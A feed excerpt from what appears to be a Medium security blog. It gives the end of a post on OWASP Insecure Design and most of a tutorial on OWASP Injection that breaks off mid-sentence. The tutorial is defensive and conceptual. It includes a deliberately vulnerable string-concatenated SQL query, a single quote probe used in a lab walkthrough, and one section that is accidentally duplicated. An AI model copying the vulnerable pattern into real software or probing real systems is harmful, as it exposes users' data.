abuse.</em></blockquote><h4>Better requirement:</h4><blockquote><em>A customer may redeem a specific promotion only once during its validity period. The restriction must be enforced server-side and remain effective under concurrent requests.</em></blockquote><h3>13.2 Secure Defaults</h3><p>A secure default reduces the chance that a system becomes exposed through incomplete configuration or unsafe assumptions.</p><p><strong>Examples:</strong></p><ul><li>Deny access unless explicitly authorised.</li><li>Disable unnecessary functionality.</li><li>Use secure session settings.</li><li>Apply least privilege.</li><li>Protect sensitive data by default.</li><li>Reject invalid state transitions.</li><li>Avoid trusting client-controlled security decisions.</li></ul><h3>13.3 Defense in Depth</h3><p>Do not rely on one control for a critical business operation.</p><h4>For a payment workflow, controls may include:</h4><ol><li>Authentication.</li><li>Object-level authorization.</li><li>Server-side price calculation.</li><li>Valid state-transition checks.</li><li>Idempotency.</li><li>Transaction integrity.</li><li>Payment-provider verification.</li><li>Audit logging.</li><li>Reconciliation and monitoring.</li></ol><blockquote>If one control fails, additional controls should reduce the likelihood or impact of abuse.</blockquote><h3>13.4 Threat Modeling Throughout Development</h3><p>Threat modeling should not be a one-time exercise performed only at project inception.</p><h4>Repeat it when:</h4><ul><li>New features are introduced.</li><li>Data flows change.</li><li>New external services are integrated.</li><li>Authorization models change.</li><li>Tenant architecture changes.</li><li>Payment or identity workflows change.</li><li>New trust boundaries are introduced.</li></ul><h3>13.5 Secure Development Lifecycle</h3><p>A mature secure development lifecycle includes:</p><ul><li>Security requirements.</li><li>Architecture review.</li><li>Threat modeling.</li><li>Secure design patterns.</li><li>Code review.</li><li>Security testing.</li><li>Deployment controls.</li><li>Monitoring.</li><li>Incident response.</li><li>Post-incident learning.</li></ul><p>Useful references include:</p><ul><li><a href="https://owaspsamm.org/">OWASP Software Assurance Maturity Model (SAMM)</a></li><li><a href="https://csrc.nist.gov/pubs/sp/800/218/final">NIST Secure Software Development Framework (SSDF), SP 800–218</a></li><li><a href="https://cheatsheetseries.owasp.org/cheatsheets/Secure_Product_Design_Cheat_Sheet.html">OWASP Secure Product Design Cheat Sheet</a></li></ul><h3>14. How to Write a Professional A06 Finding</h3><p>A security finding should explain the root cause, not merely describe the observed behaviour.</p><h4><strong>Finding: Missing Atomic Enforcement of Reservation Limits</strong></h4><p><strong>Severity:</strong> Based on demonstrated impact and the application’s risk context.</p><p><strong>Category:</strong> OWASP A06:2025 — Insecure Design, if the assessment establishes that the required concurrency control was missing or ineffective at the design level.</p><p><strong>Affected component:</strong> ShopSecure reservation workflow.</p><p><strong>Description:</strong></p><p>The reservation workflow does not reliably preserve the defined per-customer purchase limit when multiple reservation requests are processed concurrently.</p><h4><strong>Preconditions:</strong></h4><ul><li>An authenticated test account.</li><li>A product with a defined reservation limit.</li><li>An authorized test environment.</li><li>A controlled method of submitting concurrent requests.</li></ul><h4><strong>Reproduction summary:</strong></h4><ol><li>Record the current reservation count.</li><li>Establish the expected purchase limit.</li><li>Submit controlled concurrent reservation requests.</li><li>Inspect the final persisted reservation state.</li><li>Compare the result against the business invariant.</li></ol><h4><strong>Expected result:</strong></h4><p>The system must reject any operation that would exceed the defined limit, including concurrent operations.</p><h4><strong>Observed result:</strong></h4><p>Record the actual result and supporting evidence. Do not claim an issue unless the final persisted state demonstrates a violation.</p><h4><strong>Impact:</strong></h4><p>Depending on the application, an attacker may exceed purchase restrictions, reserve more inventory than intended, or undermine a business control.</p><h4><strong>Root cause:</strong></h4><p>The design does not provide an atomic enforcement mechanism for the reservation invariant.</p><h4><strong>Remediation:</strong></h4><ul><li>Define the purchase-limit invariant explicitly.</li><li>Enforce it through an appropriate atomic database operation or transaction.</li><li>Ensure reservation records and inventory updates remain consistent.</li><li>Add concurrent integration tests.</li><li>Monitor repeated and abnormal reservation activity.</li></ul><h4><strong>Retest criteria:</strong></h4><p>The invariant remains true during normal and controlled concurrent execution. No duplicate or excess reservation is persisted.</p><h3>15. A06 Assessment Checklist</h3><p>Use this checklist during architecture reviews, penetration tests, and secure design assessments.</p><h3>Requirements and Architecture</h3><ul><li>Are security requirements documented?</li><li>Are business rules explicit and testable?</li><li>Are critical assets identified?</li><li>Are trust boundaries documented?</li><li>Are external dependencies assessed?</li><li>Are abuse cases considered?</li><li>Are security assumptions validated?</li></ul><h3>Authentication and Authorization</h3><ul><li>Are sensitive operations authenticated?</li><li>Are permissions enforced server-side?</li><li>Are object ownership checks performed?</li><li>Are tenant boundaries enforced?</li><li>Are recovery workflows designed securely?</li><li>Are administrative operations isolated?</li></ul><h3>Business Logic</h3><ul><li>Are transaction limits defined?</li><li>Are coupon and promotion rules enforced?</li><li>Are workflows protected against invalid transitions?</li><li>Are operations safe to retry?</li><li>Are duplicate operations handled?</li><li>Are concurrency requirements documented?</li><li>Are business-critical values calculated server-side?</li></ul><h3>Resilience and Failure Handling</h3><ul><li>Are timeouts handled safely?</li><li>Are retry policies defined?</li><li>Are partial failures considered?</li><li>Are distributed operations reconciled?</li><li>Are invalid states rejected?</li><li>Are sensitive operations monitored?</li></ul><h3>Development and Testing</h3><ul><li>Is threat modeling part of development?</li><li>Are secure design patterns used</li><li>Are abuse cases included in test plans?</li><li>Are concurrency tests performed where relevant?</li><li>Are security findings linked to root causes?</li><li>Are fixes verified through retesting?</li></ul><h3>16. CWE Mapping: Understanding the Weakness Behind the Design</h3><p>OWASP A06:2025 maps to 39 CWEs. The full list is maintained on the official OWASP category page.</p><p>Selected examples include:</p><p>CWEWeaknessCWE-256Unprotected Storage of CredentialsCWE-266Incorrect Privilege AssignmentCWE-269Improper Privilege ManagementCWE-362Concurrent Execution using Shared Resource with Improper SynchronizationCWE-434Unrestricted Upload of File with Dangerous TypeCWE-501Trust Boundary ViolationCWE-522Insufficiently Protected CredentialsCWE-602Client-Side Enforcement of Server-Side SecurityCWE-642External Control of Critical State DataCWE-653Insufficient CompartmentalizationCWE-657Violation of Secure Design PrinciplesCWE-693Protection Mechanism FailureCWE-799Improper Control of Interaction FrequencyCWE-807Reliance on Untrusted Inputs in a Security DecisionCWE-841Improper Enforcement of Behavioral WorkflowCWE-1125Excessive Attack Surface</p><p><strong>Important classification rule:</strong> A CWE appearing in the A06 mapping does not automatically make every instance an A06 finding. The actual weakness, root cause, and context determine the appropriate classification.</p><h3>17. Key Takeaways for Security Professionals</h3><h3>For Developers</h3><p>Do not treat security as a collection of validation checks. Define the security behaviour of the feature before implementing it.</p><h3>For Architects</h3><p>Document trust boundaries, security invariants, failure states, and abuse cases. Make critical security decisions explicit.</p><h3>For Penetration Testers</h3><p>Do not stop at finding endpoints and manipulating parameters. Understand the application’s business rules and test whether its workflows preserve them.</p><h3>For Red-Team Specialists</h3><p>Look for assumptions the application makes about users, timing, workflow order, retries, transaction state, and resource limits.</p><h3>For Security Engineers</h3><p>Convert threat-model findings into measurable requirements, test cases, and monitoring controls.</p><h3><strong>18. Final Thoughts</strong></h3><p>Insecure design is hard to spot because applications can look technically secure — using modern frameworks, encryption, and strong auth — while hiding vulnerable business logic.</p><p>The critical shift is moving from:</p><ul><li><em>“Is this feature implemented securely?”</em></li><li>To: <strong>“Was it designed to withstand deliberate abuse?”</strong></li></ul><p>A truly secure application maintains its rules even when workflows are manipulated or components fail. Security cannot just be coded; it must be built into the architecture from the start.</p><p><strong>Intelithics</strong><br><em>Understand the threat. Challenge the design. Secure the system.</em></p><p>#OWASP #OWASPTop10 #InsecureDesign #ApplicationSecurity #CyberSecurity #ThreatModeling #RedTeam #PenetrationTesting #SecureByDesign #Intelithics</p><h3>White Panther :</h3><p>Follow for More : <a href="https://www.instagram.com/intelithics">Intelithics</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d516b821eef2" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/part-7-owasp-top-10-2025-a06-insecure-design-d516b821eef2">Part 7-OWASP Top 10:2025 — A06: Insecure Design</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Part 6— OWASP A05:2025: Injection The Complete Guide — From Beginner to Advanced]]></title>
            <link>https://systemweakness.com/part-6-owasp-a05-2025-injection-the-complete-guide-from-beginner-to-advanced-9bfe2e1d994c?source=rss-1d4bcfe23d96------2</link>
            <guid isPermaLink="false">https://medium.com/p/9bfe2e1d994c</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[medium]]></category>
            <category><![CDATA[owasp]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Intelithics]]></dc:creator>
            <pubDate>Thu, 17 Sep 2026 16:10:44 GMT</pubDate>
            <atom:updated>2026-09-22T13:47:32.218Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>“The application asked for data. The attacker gave it instructions.”</strong>That is Injection.</p><p>A username should be a username.A product ID should be a product ID.A search query should be search text.A hostname should be a hostname.But modern applications rarely keep user input in one place. Data moves through controllers, APIs, business logic, databases, templates, operating-system commands, browsers, identity systems, and third-party services.</p><p>The security problem begins when one of those components stops seeing the input as <strong>data</strong> and starts interpreting part of it as <strong>instructions</strong>.</p><p>That is the common thread behind SQL Injection, Command Injection, NoSQL Injection, LDAP Injection, SSTI, XSS, and many other forms of Injection.</p><blockquote><strong><em>Injection happens when untrusted data crosses a boundary and gains influence over an interpreter&#39;s syntax or behavior.</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X5RwouLRRCuxPEwPesup8A.png" /></figure><h3>Table of Contents</h3><ol><li>What Is Injection, Really?</li><li>Why Injection Is #5 in OWASP Top 10:2025</li><li>Data, Code, Context and Interpreters</li><li>Where Injection Appears in Real Applications</li><li>The A05:2025 Injection Family</li><li>SQL Injection — From Basic Queries to Blind SQLi</li><li>Other Injection Types You Actually Encounter</li><li>Tools for Testing Injection</li><li>Injection Testing Methodology — Beginner to Advanced</li><li>Advanced Concepts — Second-Order, OOB and Parser Differentials</li><li>Real-World Breaches and What They Teach</li><li>A Complete Red-Team Example</li><li>Detection and SOC Perspective</li><li>Prevention and Hardening</li><li>Writing a Professional Injection Finding</li><li>CWE Mapping</li><li>Final Thoughts</li></ol><h3>1. What Is Injection, Really?</h3><p>Imagine an e-commerce application:</p><pre>GET /product?id=1042</pre><p>The user expects the application to retrieve product 1042.A secure implementation treats 1042 as <strong>data</strong>.</p><p><strong>A vulnerable implementation might construct:</strong></p><pre>query = &quot;SELECT * FROM products WHERE id=&#39;&quot; + product_id + &quot;&#39;&quot;</pre><p><strong>Now the application has combined two completely different things:</strong></p><pre>SQL syntax<br>+<br>user-controlled data</pre><p>The database cannot inherently tell which part was supposed to be trusted.</p><p>That is where Injection begins.The same design mistake appears in other environments.</p><p><strong>A server might do:</strong></p><pre>ping &lt;user input&gt;</pre><p><strong>A template engine might process:</strong></p><pre>template + user input</pre><p><strong>A browser might receive:</strong></p><pre>HTML + user input</pre><p><strong>An LDAP directory might receive:</strong></p><pre>filter + user input</pre><p><strong>The technology changes, but the security failure is the same:</strong></p><pre>Attacker-controlled input<br>        ↓<br>Application<br>        ↓<br>Interpreter<br>        ↓<br>Unexpected interpretation</pre><p>OWASP defines Injection as an application flaw in which untrusted input reaches an interpreter such as a browser, database, or command line and causes part of that input to be interpreted as commands. A05:2025 covers SQL, NoSQL, OS command, ORM, LDAP, Expression Language/OGNL and related Injection classes.</p><p>The critical idea is therefore not:</p><blockquote><em>“Block special characters.”</em></blockquote><p><strong>It is:</strong></p><blockquote><em>Keep data separate from instructions.</em></blockquote><h3>2. Why Injection Is #5 in OWASP Top 10:2025</h3><p>Injection moved from <strong>#3 in the 2021 edition to #5 in 2025</strong>. That is a ranking change, not a sign that the vulnerability class became harmless. OWASP describes Injection as one of the most-tested categories and reports that 100% of applications in its dataset were tested for some form of Injection.</p><h4>OWASP&#39;s A05:2025 score table reports:</h4><p>MetricA05:2025CWEs mapped 37 Maximum incidence rate13.77%Average incidence rate 3.08% Maximum coverage 100% Average coverage 42.93% Total occurrences 1,404,249 Total CVEs 62,445</p><h4><strong>There is an important detail behind these numbers.</strong></h4><p>OWASP says the category includes <strong>more than 30,000 XSS CVEs</strong> and <strong>more than 14,000 SQL Injection CVEs</strong>. XSS contributes a very large number of findings, while SQL Injection tends to have much higher potential impact when successfully exploited.</p><p>So:</p><pre>A05 ≠ SQL Injection</pre><p>A better model is:</p><pre>A05:2025 Injection<br>                         │<br>          ┌──────────────┼──────────────┐<br>          │              │              │<br>       Database       Operating       Client<br>          │              │              │<br>        SQLi          Command           XSS<br>       NoSQL          Argument<br>        ORM<br>          │<br>     LDAP / XPath / Template /<br>     Expression / Code / Header</pre><p>A05 is really a category about <strong>unsafe interpretation of untrusted input</strong>.</p><h3>3. Data, Code, Context and Interpreters</h3><p>Before learning attack techniques, understand the four concepts underneath almost every Injection bug.</p><h4>Data</h4><p>The application expects:</p><pre>username = panther<br>id = 1042<br>email = user@example.com</pre><p>These are values.</p><h4>Code or Syntax</h4><p>The interpreter expects:</p><pre>SELECT ...<br>WHERE ...</pre><p>or:</p><pre>ping ...</pre><p>or:</p><pre>&lt;script&gt;...&lt;/script&gt;</pre><p>These are instructions or syntax.</p><h3>Interpreter</h3><p><strong><em>Examples include:</em></strong></p><pre>Database engine<br>Operating-system shell<br>Browser<br>Template engine<br>LDAP parser<br>XPath engine<br>Expression engine</pre><h3>Context</h3><p>The same string can be safe in one context and dangerous in another.</p><p><strong><em>For example:</em></strong></p><pre>SQL string<br>SQL numeric expression<br>HTML body<br>HTML attribute<br>JavaScript string<br>URL<br>Shell argument<br>LDAP filter<br>XPath expression<br>Template</pre><p>That is why modern Application Security should not ask only:</p><blockquote><em>“Is this input malicious?”</em></blockquote><p>It should ask:</p><blockquote><strong><em>“Where does this input go, and what interpreter will process it?”</em></strong></blockquote><h3>4. Where Injection Appears in Real Applications</h3><p>Injection is not limited to a login page.You can encounter it in ordinary business features.</p><h3>E-commerce</h3><pre>/product?id=1042<br>/search?q=laptop<br>/orders?sort=price</pre><h4>Potential sinks:</h4><pre>SQL<br>NoSQL<br>ORM<br>search engines<br>templates</pre><h3>Banking and Finance</h3><p><strong><em>Examples include:</em></strong></p><pre>account search<br>transaction filters<br>statement generation<br>CSV exports<br>report builders<br>admin search interfaces</pre><p>A single unsafe query can expose far more than the original feature appears to control.</p><h3>Healthcare</h3><p>Injection can affect:</p><pre>patient search<br>medical record filters<br>report generation<br>XML-based integrations<br>internal administration tools</pre><p>The impact is especially serious because the application may process highly sensitive personal information.</p><h3>Enterprise Identity Systems</h3><p>Potential Injection surfaces include:</p><pre>LDAP search<br>directory filters<br>user provisioning<br>group lookup<br>authentication workflows</pre><h3>DevOps and Cloud Platforms</h3><p>Modern internal tools frequently expose operations such as:</p><pre>ping host<br>DNS lookup<br>file conversion<br>repository scanning<br>deployment scripts<br>backup management<br>log search</pre><p>These can create command or argument injection opportunities when user input reaches operating-system utilities.</p><h3>Modern APIs</h3><p>Injection can appear in:</p><pre>REST<br>GraphQL<br>JSON<br>SOAP<br>XML<br>WebSockets</pre><p>OWASP specifically recommends testing parameters, headers, URLs, cookies, JSON, SOAP and XML inputs when assessing Injection.</p><p>That matters because the old mental model</p><pre>&quot;SQL Injection happens in login forms&quot;</pre><p>is far too narrow for modern applications.</p><h3>5. The A05:2025 Injection Family</h3><p>OWASP’s category contains a broad range of interpreter-related weaknesses.</p><p><strong><em>The most useful mental map is:</em></strong></p><pre>A05:2025 Injection<br>│<br>├── SQL Injection<br>├── NoSQL Injection<br>├── Command Injection<br>├── Argument Injection<br>├── ORM Injection<br>├── LDAP Injection<br>├── XPath / XML-related Injection<br>├── Expression Language / OGNL Injection<br>├── Code / Eval Injection<br>├── CRLF / HTTP Header Injection<br>├── Server-Side Template Injection<br>└── Cross-Site Scripting</pre><p>The details differ, but every branch comes back to the same question:</p><blockquote><strong><em>Can attacker-controlled data influence how an interpreter behaves?</em></strong></blockquote><h3>6. SQL Injection — From Basic Queries to Blind SQLi</h3><p>SQL Injection is still one of the most important Injection classes for a web security tester.</p><h4>A vulnerable pattern often looks like:</h4><pre>query = (<br>    &quot;SELECT * FROM products WHERE id=&#39;&quot;<br>    + product_id +<br>    &quot;&#39;&quot;<br>)</pre><h4>The secure alternative is to keep the query and the value separate:</h4><pre>query = &quot;SELECT * FROM products WHERE id = ?&quot;<br>cursor.execute(query, (product_id,))</pre><h4>The difference is architectural, not cosmetic.</h4><h3>A. Error-Based SQL Injection</h3><p>The application exposes database errors or behavior that reveals information.</p><h4>Typical clues include:</h4><pre>database-specific error<br>unexpected 500 response<br>syntax-related message<br>different response structure</pre><blockquote><strong>The important point is that an error is an indicator, not automatic proof.</strong></blockquote><h4>A good tester asks:</h4><pre>What changed?<br>Why did it change?<br>Which interpreter produced the response?<br>Can I reproduce it?</pre><h3>B. Boolean-Based Blind SQL Injection</h3><p>Sometimes the database does not return useful data at all. Instead, the application responds differently depending on whether a condition evaluates as true or false.</p><h4>Conceptually:</h4><pre>Condition TRUE<br>     ↓<br>Response A</pre><pre>Condition FALSE<br>     ↓<br>Response B</pre><h4>The difference could be:</h4><pre>response body<br>record count<br>HTTP status<br>redirect<br>content length</pre><blockquote><strong>This is why response comparison is one of the most important pentesting skills for web applications.</strong></blockquote><h3>C. Time-Based Blind SQL Injection</h3><p>Sometimes even Boolean differences are hidden. In that case, timing can become the observable signal:</p><pre>Condition TRUE<br>     ↓<br>Delayed response</pre><pre>Condition FALSE<br>     ↓<br>Normal response</pre><blockquote><strong>This is particularly relevant to applications that intentionally suppress database errors.</strong></blockquote><h3>D. UNION-Based SQL Injection</h3><p>When query structure allows it, an attacker may attempt to combine the application’s query with another result set.</p><h4><strong>From a tester’s perspective, the interesting questions are:</strong></h4><pre>How many columns exist?<br>Which columns accept compatible data?<br>Which column is reflected?</pre><p>The important lesson is not memorizing one payload. It is understanding the database’s query structure.</p><h3>E. Out-of-Band SQL Injection</h3><p>Some applications reveal nothing useful in the HTTP response.</p><p><strong>An OOB technique instead relies on another observable channel:</strong></p><pre>Application<br>    ↓<br>Database behavior<br>    ↓<br>External interaction<br>    ↓<br>Controlled monitoring point</pre><p>This becomes particularly useful with asynchronous processing and applications that suppress errors.</p><h3>F. Second-Order SQL Injection</h3><p>This is one of the most important advanced concepts.</p><p><strong>Consider:</strong></p><pre>Registration<br>   ↓<br>Database<br>   ↓<br>Stored value<br>   ↓<br>Admin feature<br>   ↓<br>Dynamic query<br>   ↓<br>Injection</pre><p>The original request may look harmless. The malicious value becomes dangerous only when it is reused later.</p><p>Second-order SQLi is explicitly covered in established SQL Injection testing methodologies, alongside blind, time-based and out-of-band techniques. (<a href="https://portswigger.net/web-security/sql-injection/cheat-sheet?utm_source=chatgpt.com">portswigger.net</a>)</p><p>That is why source-to-sink tracing often outperforms simple black-box scanning.</p><h3>7. Other Injection Types You Actually Encounter</h3><h3>A. NoSQL Injection</h3><p>NoSQL does not mean “no injection.”</p><p>The failure often occurs when an API accepts a structured object where the application expected a simple value.</p><p><strong>For example, a login API might expect:</strong></p><pre>{<br>  &quot;username&quot;: &quot;Intelithics&quot;,<br>  &quot;password&quot;: &quot;secret&quot;<br>}</pre><p>but fail to enforce the expected types.</p><h4>The tester should therefore examine:</h4><pre>parameter type<br>JSON structure<br>query operators<br>authentication logic<br>server-side type handling</pre><p><strong>The lesson is:</strong></p><blockquote>Structured input can still be attacker-controlled syntax.</blockquote><h3>B. Command Injection</h3><p>This usually appears when an application wraps an operating-system utility.</p><h4>Real examples include:</h4><pre>DNS lookup tools<br>network diagnostics<br>image/video processing wrappers<br>file conversion utilities<br>backup scripts<br>administrative panels</pre><h4>A vulnerable design might effectively do:</h4><pre>application<br>   ↓<br>string-based command<br>   ↓<br>shell</pre><blockquote><strong>A safer architecture uses a dedicated API and passes arguments separately where possible.</strong></blockquote><h3>C. Argument Injection</h3><p>Command Injection and Argument Injection are related but not identical.</p><pre>Command Injection<br>→ attacker changes the command being executed</pre><pre>Argument Injection<br>→ attacker changes how a legitimate command interprets its arguments</pre><p>This distinction matters for applications that use external binaries without explicitly invoking a shell.</p><h3>D. ORM Injection</h3><p>ORMs such as:</p><pre>Hibernate<br>SQLAlchemy<br>Entity Framework<br>Django ORM<br>Prisma</pre><p>reduce the amount of SQL developers write. They do not eliminate Injection risk. A raw-query interface, unsafe HQL/JPQL construction, or dynamic filtering layer can still expose the application.</p><blockquote><strong>OWASP specifically includes unsafe ORM search parameters within A05.</strong></blockquote><h3>E. LDAP Injection</h3><p>Common in:</p><pre>enterprise identity systems<br>directory searches<br>user provisioning<br>authentication services<br>group membership lookup</pre><p><strong>The vulnerable flow is:</strong></p><pre>User Input<br>    ↓<br>LDAP filter<br>    ↓<br> Directory server</pre><h4>Important mapping:</h4><pre>CWE-90</pre><h3>F. XPath Injection</h3><p>Applications that query XML documents dynamically may construct XPath expressions from user input.</p><h4>Potential environments include:</h4><pre>legacy enterprise integrations<br>SOAP applications<br>XML-based identity systems<br>document-processing platforms</pre><p><strong>The key distinction is:</strong></p><pre>XML parser bug</pre><p><strong>versus:</strong></p><pre>XPath query manipulation</pre><h4>Important mapping:</h4><pre>CWE-643</pre><h3>G. Expression Language / OGNL Injection</h3><p>Frameworks may allow dynamic expressions for:</p><pre>view rendering<br>business rules<br>object navigation<br>configuration<br>template processing</pre><h4>The dangerous flow is:</h4><pre>User Input<br>   ↓<br>Expression<br>   ↓<br>Expression Engine<br>   ↓<br>Unexpected behavior</pre><h3>H. Code / Eval Injection</h3><p>Any application that dynamically evaluates attacker-controlled code deserves immediate attention.</p><p><strong>Conceptually:</strong></p><pre>Input<br>  ↓<br>eval / dynamic evaluation<br>  ↓<br>interpreter<br>  ↓<br>code execution</pre><blockquote>The exact function differs by language, but the architectural problem is the same.</blockquote><h3>I. Server-Side Template Injection</h3><p><strong>A safe template design is:</strong></p><pre>Template<br>   +<br>User Data</pre><p><strong>The dangerous design is:</strong></p><pre>User Data<br>   ↓<br>Template Parser</pre><p><strong>Real-world business systems commonly use templates for:</strong></p><pre>emails<br>PDF generation<br>invoices<br>reports<br>notifications<br>customer messages</pre><blockquote>If user-controlled content becomes template syntax rather than template data, the server-side impact can become significant.</blockquote><h3>J. CRLF / HTTP Header Injection</h3><p>Not every Injection reaches a database. Suppose an application copies user input into an HTTP response header:</p><pre>Attacker Input<br>      ↓<br>HTTP header<br>      ↓<br>Header parser</pre><p>Improper handling of line breaks can result in response splitting or header manipulation scenarios.</p><h4>This matters particularly for:</h4><pre>redirects<br>download filenames<br>custom response headers<br>proxy-facing applications</pre><h3>8. XSS as Injection</h3><p>XSS belongs inside A05:2025 because the browser itself becomes the interpreter.</p><pre>Attacker Input<br>      ↓<br>Application<br>      ↓<br>HTML / JavaScript<br>      ↓<br>Browser<br>      ↓<br>Execution</pre><h4>Three broad forms matter most:</h4><p>But the more important concept is <strong>context</strong>. The same value can reach and each context has different security rules.</p><pre>Reflected XSS<br>Stored XSS<br>DOM-based XSS</pre><p>But the more important concept is <strong>context</strong>. The same value can reach:3. Data, Code, Context and Interpreters</p><p>Before learning attack techniques, understand the four concepts underneath almost every Injection bug.</p><h3>Data</h3><p>The application expects:</p><pre>username = panther<br>id = 1042<br>email = user@example.com</pre><p><strong>These are values.</strong></p><h3>Code or Syntax</h3><p>The interpreter expects:</p><pre>SELECT ...<br>WHERE ...</pre><p>or:</p><pre>ping ...</pre><p>or:</p><pre>&lt;script&gt;...&lt;/script&gt;</pre><p>These are instructions or syntax.</p><h3>Interpreter</h3><p>Examples include:</p><pre>Database engine<br>Operating-system shell<br>Browser<br>Template engine<br>LDAP parser<br>XPath engine<br>Expression engine</pre><h3>Context</h3><p>The same string can be safe in one context and dangerous in another.</p><p>For example:</p><pre>SQL string<br>SQL numeric expression<br>HTML body<br>HTML attribute<br>JavaScript string<br>URL<br>Shell argument<br>LDAP filter<br>XPath expression<br>Template</pre><p><strong>That is why modern Application Security should not ask only:</strong></p><blockquote><em>“Is this input malicious?”</em></blockquote><p><strong><em>It should ask:</em></strong></p><blockquote><strong><em>“Where does this input go, and what interpreter will process it?”</em></strong></blockquote><h3>9. Tools for Testing Injection</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V-dG4T3gkXJqXVTwVzU50w.png" /></figure><h4>The workflow should be:</h4><pre>Understand<br>   ↓<br>Hypothesize<br>   ↓<br>Manually validate<br>   ↓<br>Automate<br>   ↓<br>Measure impact<br>   ↓<br>Retest</pre><p><strong>Not:</strong></p><pre>Run scanner<br>   ↓<br>Copy finding<br>   ↓<br>Done</pre><h3>10. Injection Testing Methodology — Beginner to Advanced</h3><h3>Beginner: Discover Inputs</h3><p>Start with the attack surface.</p><p>Inspect:</p><pre>URL parameters<br>POST bodies<br>JSON fields<br>headers<br>cookies<br>GraphQL variables<br>XML<br>SOAP<br>file names<br>search filters<br>sort parameters</pre><p>Burp Suite is ideal for mapping these paths.</p><h4>A simple request:</h4><pre>GET /product?id=10 HTTP/1.1<br>Host: lab.local</pre><h4>Change one thing at a time and observe:</h4><pre>HTTP status<br>response size<br>response content<br>errors<br>timing<br>redirects</pre><h3>Intermediate: Find the Sink</h3><p>Now ask:</p><blockquote><em>Where does this parameter end up?</em></blockquote><h4>Trace:</h4><pre>Parameter<br>   ↓<br>Controller<br>   ↓<br>Business logic<br>   ↓<br>Interpreter</pre><h4>Examples of suspicious sinks include:</h4><pre>raw SQL<br>dynamic HQL<br>shell execution<br>HTML insertion<br>template evaluation<br>LDAP filter construction<br>XPath construction</pre><blockquote><strong>This is where source-code review becomes extremely powerful.</strong></blockquote><h3>Advanced: Trace the Full Data Flow</h3><h4>Look for:</h4><pre>input<br> ↓<br>validation<br> ↓<br>canonicalization<br> ↓<br>transformation<br> ↓<br>storage<br> ↓<br>retrieval<br> ↓<br>interpreter</pre><h4>Pay special attention to:</h4><pre>type changes<br>encoding/decoding<br>stored values<br>internal APIs<br>multiple parser layers<br>second-order behavior</pre><p>The best Injection testers are not payload collectors. They are <strong>data-flow analysts</strong>.</p><h3>11. Advanced Concepts — Second-Order, OOB and Parser Differentials</h3><h3>Blind Injection</h3><p>When the application gives you little visible feedback, the tester relies on:</p><pre>response differences<br>timing differences<br>external interactions</pre><blockquote><strong>The ability to compare small behavioral changes becomes more important than knowing hundreds of payloads.</strong></blockquote><h3>Out-of-Band Testing</h3><p><strong>Useful when:</strong></p><pre>responses are silent<br>processing is asynchronous<br>errors are suppressed<br>a backend component behaves independently</pre><blockquote><strong>Use only controlled infrastructure during authorized testing.</strong></blockquote><h3>Parser Differentials</h3><p>A modern application can contain several parsers:</p><pre>WAF<br>   ↓<br>reverse proxy<br>   ↓<br>web server<br>   ↓<br>framework<br>   ↓<br>application<br>   ↓<br>database</pre><blockquote><strong>If they normalize input differently, a security control may approve data that the application later interprets differently.</strong></blockquote><h4>This is why advanced testing examines:</h4><pre>encoding<br>canonicalization<br>duplicate parameters<br>content types<br>whitespace<br>normalization<br>parser behavior</pre><p>The objective is not to collect “WAF bypass payloads.”</p><p>The objective is to understand:</p><blockquote><strong><em>Where do two components disagree about the meaning of the same request?</em></strong></blockquote><h3>12. Real-World Breaches and What They Teach</h3><h4>Heartland Payment Systems</h4><p>The Heartland incident illustrates why Injection should be treated as an <strong>attack-path problem</strong>.</p><p>U.S. Department of Justice material describes a SQL Injection attack beginning in December 2007, followed by compromise of Heartland’s payment-processing environment and theft of more than approximately 130 million payment-card numbers.</p><p><strong>The important lesson is not simply:</strong></p><pre>SQL Injection = data theft</pre><p>It is:</p><pre>Injection<br>   ↓<br>Initial Access<br>   ↓<br>Further compromise<br>   ↓<br>Sensitive environment<br>   ↓<br>Data theft</pre><blockquote><strong>A vulnerable parameter can therefore become the first step in a much larger intrusion.</strong></blockquote><h3>TalkTalk — 2015</h3><p>TalkTalk demonstrates another important lesson: <strong>known vulnerabilities can become incidents when organizations fail to detect and act on exploitation attempts.</strong></p><p>[Certain] The UK’s Information Commissioner’s Office found that an SQL Injection attack exposed personal information belonging to <strong>156,959 customers</strong>, including bank account numbers and sort codes for <strong>15,656 customers</strong>. The investigation also found previous SQL Injection attacks in July and September 2015 that had not triggered action because of inadequate monitoring.</p><p>The takeaway is larger than SQLi:</p><blockquote><strong><em>Prevention without detection is incomplete security.</em></strong></blockquote><h3>13. A Complete Red-Team Example</h3><h3>Target: RetailTrack</h3><h4>Consider a fictional e-commerce application:</h4><pre>/product?id=102<br>/search?q=laptop<br>/account/orders<br>/admin/export</pre><p>Only an intentionally vulnerable training environment should be used for this exercise.</p><h3>Step 1 — Recon</h3><p>Burp captures:</p><pre>GET /product?id=102 HTTP/1.1<br>Host: retailtrack.local</pre><p>The tester identifies id as an interesting input.</p><h3>Step 2 — Baseline</h3><p>Record:</p><pre>HTTP status<br>response length<br>content<br>timing</pre><p>for:</p><pre>id=102</pre><h3>Step 3 — Controlled Validation</h3><p>In a lab environment, introduce malformed input and observe whether behavior changes.</p><p>For example:</p><pre>id=&#39;</pre><p>Suppose the response changes from a normal product page to a database-related error.</p><p>That is an <strong>indicator</strong>. It is not the complete finding.</p><h3>Step 4 — Find the Sink</h3><p><strong>Source review reveals:</strong></p><pre>query = (<br>    &quot;SELECT * FROM products WHERE id=&#39;&quot;<br>    + request.args[&quot;id&quot;]<br>    + &quot;&#39;&quot;<br>)</pre><p><strong>Now the data flow is clear:</strong></p><pre>HTTP input<br>    ↓<br>String concatenation<br>    ↓<br>SQL</pre><h3>Step 5 — Validate in the Lab</h3><p>A controlled SQL logic test changes the application from returning a single record to an unexpected broader result set.</p><p><strong><em>SQL Injection is now confirmed.</em></strong></p><h3>Step 6 — Measure Impact</h3><p>Before performing unnecessary extraction, ask:</p><pre>What DB account is 